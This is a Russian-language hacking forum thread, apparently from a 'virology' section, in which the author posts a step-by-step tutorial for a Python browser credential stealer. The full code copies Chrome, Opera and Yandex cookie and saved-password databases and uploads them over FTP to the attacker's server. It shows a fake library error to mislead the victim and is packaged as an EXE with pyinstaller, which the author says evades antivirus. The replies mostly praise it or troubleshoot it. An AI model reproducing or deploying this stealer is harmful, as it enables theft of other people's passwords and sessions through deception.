Загрузка...

Пишем ******* паролей на Python

Тема в разделе Вирусология создана пользователем LazersBoy 12 окт 2019. 2909 просмотров

Загрузка...
  1. LazersBoy
    LazersBoy Автор темы 12 окт 2019 Заблокирован(а) 163 10 окт 2019
    Всем привет, это моя первая статья, сразу хочу сказать)

    Напишем сегодня ******* на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 )

    Начнем с самого простого, это подключение библиотек
    Код
    import os.path
    import getpass
    from ftplib import FTP
    import random
    con = FTP("хост","логин","пароль")
    • первая библиотека ( os.path ) - используется для проверки директории на валидность, точнее на то существует ли она в природе
    • вторая библиотека ( getpass ) - используется для получения юзернейма пользователя под которым запущен процесс, это нужно для доступа к папке AppData
    • третья библиотека ( ftplib ) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер
    • четвертая библиотека( random ) - ну тут все просто, мы рандомизируем названия файла который отправляем на сервер
    И напоследок мы подключаемся по ftp по логину паролю и хосту.

    Теперь перейдем к более интересным вещам, чем просто библиотеки, мы напишем уже сами пути к директориям, где лежат наши пароли, а пароли мы будем воровать(в учеб.целях) из браузеров - Opera, Yandex, Google Chrome

    Итак, вот код, пишем его, далее будем его разбирать
    Код
    UserName = '\\' + getpass.getuser()
    dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
    dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"

    dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
    dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"

    dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
    dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
    UserName - принимает значения имя текущего пользователя

    dir_cookie_google, dir_pass_google, ...., ... - и т.д. Это все директории где хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite manager, но об этом позже....

    У нас имеются директории, у нас есть библиотеки, для работы, что же дальше? Думаю пора приступать к основном задаче, это написание непосредственно *******а.

    Вот код, вы пока напишите его, а я вам потом расскажу о нем ))

    Код
    dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
    dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
    dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
    dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

    def check():
    if (os.path.exists(dir_google)) == True:
    filename = "google"+str(random.randint(1, 10000))
    filename2 = "google_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_google, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_google, "rb") as content:
    con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
    filename = "opera"+str(random.randint(1, 10000))
    filename2 = "opera_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_opera, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_opera, "rb") as content:
    con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
    filename = "yandex"+str(random.randint(1, 10000))
    filename2 = "yandex_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_yandex, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_yandex, "rb") as content:
    Код получился не маленький, что есть то есть. Рассмотрим первые строчки, в начале до функции мы записываем в переменные адреса наших директорий, для последующей проверки на валидность. Зачем это нужно? спросите вы меня, да просто так проще! Зачем ставить try, except если можно проверить на валидность с помощью os.path.exits.

    Далее у нас идет функция, со множествами if , тут ничего ничего сложного нету, все просто:

    Код
    if (os.path.exists(dir_google)) == True:
    filename = "google"+str(random.randint(1, 10000))
    filename2 = "google_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_google, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_google, "rb") as content:
    con.storbinary("STOR %s" % filename2, content)
    Мы проверяем является ли директория валидной, а после уже открываем ее, и отправляем файл на наш сервер FTP. Такс..., функцию написали, библиотеки подключили, директории есть, что не хватает? Думаю не хватает задействовать функцию и вывести на экран какую нибудь псевдо-ошибку, что мол библиотека не подключена и все дела.. Будем действовать по такой схеме))

    Вот код, объяснять тут думаю нечего:
    Код
    check()
    print("Error library import HOUII.dll")
    print("Error RUN cheat")
    input()
    НО, я все же расскажу, первая строка - вызываем функцию, которая ворует пароли.

    Далее мы выводим сообщения об якобы ошибке которой на деле и нет, что бы пользователь думал что это у него проблемы какие то. И что программа не зловредная, а наоборот, пыталась помочь. но как оказалось библиотеки видите ли у него нет))

    Вот и весь код, ниже он целиком:

    Код
    Python:
    import os.path
    import getpass
    from ftplib import FTP
    import random

    con = FTP("хост","логин","пароль")

    """
    Hack to directory
    """

    UserName = '\\' + getpass.getuser()

    dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
    dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
    dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
    dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
    dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
    dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
    dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
    dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
    dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
    dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

    def check():
    if (os.path.exists(dir_google)) == True:
    filename = "google"+str(random.randint(1, 10000))
    filename2 = "google_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_google, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_google, "rb") as content:
    con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
    filename = "opera"+str(random.randint(1, 10000))
    filename2 = "opera_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_opera, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_opera, "rb") as content:
    con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
    filename = "yandex"+str(random.randint(1, 10000))
    filename2 = "yandex_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_yandex, "rb") as content:
    con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_yandex, "rb") as content:
    con.storbinary("STOR %s" % filename2, content)

    check()
    print("Error library import HOUII.dll")
    print("Error RUN cheat")
    input()
    У нас есть код, но он на пайтоне, как же его эксплуатировать на чужом ПК?

    Думаю ответ очевиден - pyinstaller

    Давайте скачаем его:

    Код
    pip install pyinstaller
    Далее скомпилируем его в EXE'шник, дабы было все проще у нас ))

    Код
    pyinstaller -F <my_script>.py
    Вот и все, по сути у нас есть EXE файл, который не палится антивирусами, ну разве что windows защитник может его заподозрить, все же мы ходим по директориям. Кроме того еще и отправляем файлы на какой то не понятный сервер.... НО на практике kaspersky, dr.web, и др популярные антивирусы не определяют его как вредоносное программное обеспечения, даже если ему тыкнуть носом, вот мол, смотри, давай его просканируем, может там вирусы трояны бэкдоры! он говорит - нет, там нету ничего....

    Вот так вот все, всем спасибо! рад был поделится с вами своим скриптом


    NNullday
     
  2. OllEdzy
    OllEdzy 12 окт 2019 olle 67 20 сен 2017
    спс, нихуя не понял, но респект тебе
     
  3. LazersBoy
    LazersBoy Автор темы 12 окт 2019 Заблокирован(а) 163 10 окт 2019
    OllEdzy, Благодарствую, уважаемый
     
  4. Kiri4ok
    Kiri4ok 20 окт 2019 0 23 ноя 2018
    Скрипт висит при попытке залить файл на FTP, пробовал с разными хостингами
     
  5. Еремей
    Еремей 20 окт 2019 Гламурный эмо-гопник 1745 20 июл 2018
    Годнота, автора:PepeYes:
     
  6. MrD1459
    MrD1459 5 дек 2019 1 18 мар 2019
  7. neNARkko
    neNARkko 5 фев 2020 0 5 фев 2020
    Чёт туплю, как я понял, шоб ftp воркал надо ебашить на хостинг
     
  8. Cept
    Cept 25 мар 2020 Заблокирован(а) 1155 30 авг 2019
    Не шарю, но код выглядит так по хакерски:pepeMib:
     
  9. realc0r3
    realc0r3 31 мар 2020 Заблокирован(а) 1 26 мар 2020
    Забыл сказать, что работать будет не везде, ибо зависимость от того, установлен ли python на компьютере жертвы или нет.
     
  10. F.A.Q
    F.A.Q 3 апр 2020 13 19 мар 2018
    Любой скрипт на питоне палится ёбанным АВ
    --- Сообщение объединено с предыдущим 3 апр 2020
    Но код ахуенный:roflanZdarova:
     
Top